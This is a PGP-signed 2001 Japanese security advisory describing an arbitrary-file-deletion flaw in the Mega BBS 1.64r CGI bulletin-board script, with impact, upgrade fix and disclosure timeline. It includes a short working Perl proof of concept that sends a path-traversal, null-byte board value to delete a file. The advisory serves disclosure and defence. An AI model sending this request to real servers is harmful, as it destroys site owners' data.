-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ====================================================================== CGI PROGRAM SECURITY ADVISORY [Mega BBS 1.64r] 2001/02/01 ====================================================================== http://www.ansi.co.jp/cgi/security/advisories/megabbs_2001_02_01.txt ====================================================================== ■ 影響するCGIプログラム * Mega BBS 1.64r ■ 概要 Mega BBS は弐ch編者氏によって作成された BBS CGI プログラムです。このプ ログラムには外部から任意のファイルが削除可能なセキュリティ上の問題があ ります。 Mega BBS スクリプト配布サイト: http://www.megabbs.com/megabbs/ ■ 解説 Mega BBS 1.64r 以前のバージョンに含まれる megabbs.cgi では掲示板名に対 する汚染チェックを怠っています。そのため、ロックファイルに外部から与え た任意のファイル名を使用することができます。 このとき、既にそのファイルが存在した場合にはロックが失敗しますが、エラー 処理ルーチン内でロックファイルを削除しているため結果的に任意のファイル を削除可能になります。 ■ 影響 CGI プログラムが各ユーザ権限で実行されるシステム (Apache + SuEXEC など) の場合、そのユーザが所有する任意のファイルを消去可能です。そうではない 場合でも、Mega BBS が生成する任意のファイル (掲示板のデータ) を消去可 能です。 ■ 回避方法 新しいバージョンのプログラムを入手して入れ替えます。 ■ 参考コード #! /usr/bin/perl -w use LWP::UserAgent; $ua = new LWP::UserAgent; # deletes "../ayumoe/index.html" $request = new HTTP::Request(POST =>"http://host/MegaBBSsetpack1_64r/megabbs.cgi", undef, "mode=regist&board=../ayumoe/index.html%00&com=xx"); $ua->request($request); __END__ ■ 履歴 2001/01/18: 通知 (返答無し) 2001/02/01: 公開 2001/02/03: 回避方法を追加 2001/02/15: 参考コードを追加 ====================================================================== (C) 2001 ASUKA NETWORK SERVICE, INC. http://www.ansi.co.jp/ HIRATA YASUYUKI http://yasu.asuka.net/ All rights reserved. * この文書に書かれている内容は無保証です。 * この文書に書かれている内容を利用して攻撃を行った場合、刑事上・民事上 の責任を問われることがあります。 * このファイルは内容の変更 (電子署名の除去を含む) が行われない限り自由 に再配布可能です。 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7rqeDduP2KhBu8ikRAhv9AJ9U7NUgbnXuASoJOl9Fo5mokOXNlgCcDR3U qDbJe9RQfW1C/yALtAhIfN6IPwMFATuup4PCitaZXxzdBBECG/0AnifedgX+8bs8 ol64CDkhWA/9v4mPAJ48LqdxoYETXeBVnJlKFR+jjzhtfA== =dSaV -----END PGP SIGNATURE-----